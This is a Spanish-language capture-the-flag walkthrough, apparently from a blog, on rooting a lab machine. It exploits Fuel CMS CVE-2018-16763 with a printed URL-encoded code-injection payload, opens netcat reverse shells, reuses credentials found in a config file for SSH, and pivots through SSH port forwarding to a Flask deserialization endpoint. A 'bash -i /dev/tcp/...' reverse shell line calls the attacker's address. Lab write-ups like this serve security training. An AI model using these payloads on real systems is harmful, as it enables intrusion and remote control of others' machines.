Descripción
Una máquina de explotación web de nivel fácil / medio, con pivoting interno CVE / RCE.
Como primer paso con la herramienta NetDiscover realizaré un reconocimiento de red, para identificar la máquina objetivo.
Nuestra máquina objetivo tiene la dirección IP 192.168.50.48. Ahora realizare un escaneo de puerto y servicios con la herramienta Nmap.
Como se muestra en la imagen anterior hay 4 puertos abiertos, ahora escaneare estos puertos para saber qué servicios se están ejecutando.
En esta página se nos muestra la página de inicio de Apache Server para Centos. Entonces, lo que haré es enumerar los directorios del servidor web.
Se muestra una página web pero que no nos entrega mayor información es una página estática. Por lo tanto, Enumeraré nuevamente con la herramienta ffuz desde el directorio 192.168.50.48./structure/
La herramienta ffuz enumeró un archivo index.php nos muestra la misma página.
En este caso la herramienta ffuz enumeró más directorios, pero el directorio que nos interesa es /fuel.
Como se muestra en la imagen anterior, fuelcms es un gestor de contenido como puede ser jomla, drupal,etc. Entonces, lo que haré será buscar algún exploit conocido para este cms. Utilizaré la herramienta searchsploit.
El exploit a básicamente lo que hace es realizar una solicitud GET a la url .../fuel/pages/select/?filter=...
donde, (%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27") es el payload que se utiliza para aprovechar una vulnerabilidad de inyección de código. Para más información sobre esta vulnerabilidad visite el siguiente link CVE-2018-16763.
Nota: El script está escrito en Python 2. Además, el script necesita ser ejecuta junto con algún proxy que puede ser Zap OWASP, BurpSuit, etc. En mi caso ocuparé el proxy burpSuit.
Antes de ejecutar el script debemos hacer algunas modificaciones a la variable "url".
Al ejecutar el scritp este entra en bucle y nos solicita que ingresemos un comando (cmd) en este caso envié el comando "ls" de Linux para listar archivos. En BurpSiut se muestra la solicitud GET enviado.
Ahora necesitamos tener acceso al servidor, revisaré si está instalado en la máquina objetivo la herramienta netcat.
La aplicación netcat está instalada en la máquina víctima, por lo tanto, lo que haré será en mi máquina atacante dejar en escucha el puerto 443 con Netcat y a través de nuestro exploit ejecutaremos una conexión desde la máquina objetivo a nuestra máquina atacante.
La configuración netcat en nuestra máquina atacante será la siguiente.
Luego, ejecutaremos nuestro script de la siguiente manera.
En nuestra máquina atacante obtendremos lo siguiente.
Ya tenemos una conexión desde la máquina objetivo a nuestra máquina atacante. Ahora revisaré los archivos de configuración del fuelcms.
Como se muestra en la imagen anterior hay un archivo de configuración de base de datos con extensión .php. Lo analizaré ya que en el podemos encontrar nombres de usuarios.
Encontramos algo interesante un nombre de usuario y password (anna:H993hfkNNid5kk). Revisaré si hay algún usuario en el sistema registrado con el nombre de usuario encontrado en el archivo database.php.
Recordemos que en la máquina objetivo se está ejecutando el servicio SSH. Por lo tanto, intentaré de conectarme con las credenciales del usuario anna (anna:H993hfkNNid5kk) al servicio SSH, con esto comprobaré si se hizo uso de reutilización de credenciales.
El usuario anna reutilizó sus credenciales con esto obtuvimos una conexión SSH. Ahora listaré los directorios para el usuario anna.
Como se muestra en la imagen hay un directorio llamado web. Revisare que contiene.
El directorio web contiene una aplicación web que utiliza el framework Flask. Ahora revisaré las conexiones de red la máquina objetivo.
Como se observa en la imagen anterior la interface loopback (127.0.0.1) tiene el puerto 5000 a la escucha de conexiones. Probablemente es la aplicación Flask que se está ejecutando.
Ahora para comprobar que se está ejecutando en el puerto 5000 de la interface loopback, realizaré una solicitud con la herramienta curl.
Como se muestra en la imagen anterior el puerto 5000 de la interfaz de red loopback es una aplicación Python3 y también sabemos que se está ejecutando la aplicación web de Flask ya que está utilizando Werkzeug que es WSGI que utiliza Flask como interfaz de pasarela de servidor web.
Como no tengo acceso directo a la interfaz loopback (127.0.0.1) desde mi máquina atacante lo que haré es tunelizar la interfaz loopback hacia mi máquina atacante. Para realizar esto utilizaré una técnica llamada Pivoting.
El Pivoting consiste en utilizar una máquina comprometida para acceder a otras máquinas o segmentos red.
Sabemos que tenemos un acceso SSH hacia la máquina objetivo, por lo tanto, podemos utilizar este servicio para tunelizar la comunicación entre la interfaz loopback y mi máquina atacante. El protocolo SSH permite ejecutar Local Port Forwarding, nos permite realizar un redireccionamiento de puertos desde una cliente a un servidor de forma inversa.
La siguiente grafica muestra cómo sería un Local Port Forwarding.
Ahora tunelizare le puerto 5000 de la interfaz de red loopback de la máquina objetivo.
Ejecutare el comando netstat -lnvt en mi máquina atacante para comprobar si el puerto 5000 en mi interfaz loopback está abierto.
Ahora analizaré el archivo app.py.
En el archivo app.py se codifica un endpoint /heaven o url http://127.0.01:5000/heaven, el cual, sólo procesa solicitudes de tipo POST a través del parámetro awesome. El argumento del parámetro awesome debe estar serializado y codificado en base64.Lo que haré será serializar y encodear en base64 la siguiente instrucción bash -i /dev/tcp/192.168.50.160/4444. Escribiré un script en Python para obtener la instrucción antes mencionada serializada y encodeada en base64.
Ahora con la herramienta netcat dejaré a la escucha el puerto 4444 para recibir la conexión desde la máquina objetivo.
Ahora con la herramienta curl enviaré la solicitud POST a la URL http://127.0.0.1:5000/heaven. Es decir, la estoy enviando a mi dirección loopback al puerto 5000, esto lo podemos hacer debido a que tenemos tunelizado el puerto 5000 de la máquina objetivo a nuestra máquina atacante.
En nuestra máquina atacante debemos recibir una conexión desde la máquina objetivo a nuestra máquina atacante.
¡Bien! obtuvimos una conexión y una bash desde la máquina objetivo a nuestra máquina atacante. Ahora me cambiaré a al directorio /root para listar directorio y archivos.
¡Bien! obtuvimos nuestra flag root.Happy Hack!!!






































Comentarios
Publicar un comentario